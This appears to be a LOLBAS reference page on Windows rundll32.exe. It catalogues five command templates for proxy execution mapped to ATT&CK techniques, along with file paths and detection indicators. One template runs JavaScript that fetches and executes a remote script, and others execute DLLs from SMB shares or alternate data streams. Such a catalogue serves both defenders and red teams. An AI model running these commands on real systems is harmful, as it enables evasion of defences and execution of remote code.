LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Rundll32.exe

View source

Used by Windows to execute dll files

ExecuteADS
05COMMAND EXAMPLES
02ATT&CK TECHNIQUES
03DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Execute4

EXAMPLE 01T1218.011

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

COMMAND
rundll32.exe {PATH},EntryPoint
USE CASE
Execute DLL file
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL
EXAMPLE 02T1218.011

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

COMMAND
rundll32.exe {PATH_SMB:.dll},EntryPoint
USE CASE
Execute DLL from SMB share.
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLLExecute · Remote
EXAMPLE 03T1218.011

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

COMMAND
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
USE CASE
Execute code from Internet
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · JScript
EXAMPLE 04T1218.011

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

COMMAND
rundll32.exe -sta {CLSID}
USE CASE
Execute a DLL/EXE COM server payload or ScriptletURL code.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 (and likely previous versions), Windows 11
Execute · COM

ADS1

EXAMPLE 01T1564.004

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

COMMAND
rundll32 "{PATH}:ADSDLL.dll",DllMain
USE CASE
Execute code from alternate data stream
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL
02 / ON DISK

Known paths

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    Outbount Internet/network connections made from rundll32

  • IOC

    Suspicious use of cmdline flags such as -sta

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Oddvar Moe@oddvarmoe
Jimmy@bohops
Sailay@404death
Martin Ingesen@Mrtn9